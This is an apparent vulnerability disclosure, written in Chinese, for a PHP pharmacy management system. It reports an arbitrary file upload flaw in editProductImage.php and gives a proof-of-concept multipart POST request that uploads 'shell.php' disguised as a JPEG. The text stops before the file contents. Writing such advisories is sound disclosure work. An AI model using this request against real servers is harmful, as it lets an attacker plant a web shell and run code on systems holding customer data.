多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。
1. 访问ip:port
2.抓包,将抓取到的内容替换为如下poc,返回successfully即为上传成功。
POST /php_action/editProductImage.php?id=1 HTTP/1.1 Host: ip:port User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631 Content-Length: 556 Connection: close Cookie: PHPSESSID=t1jo541l52f76t9upiu0pbqv0c Upgrade-Insecure-Requests: 1 -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="old_image" -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="productImage"; filename="shell.php" Content-Type: image/jpeg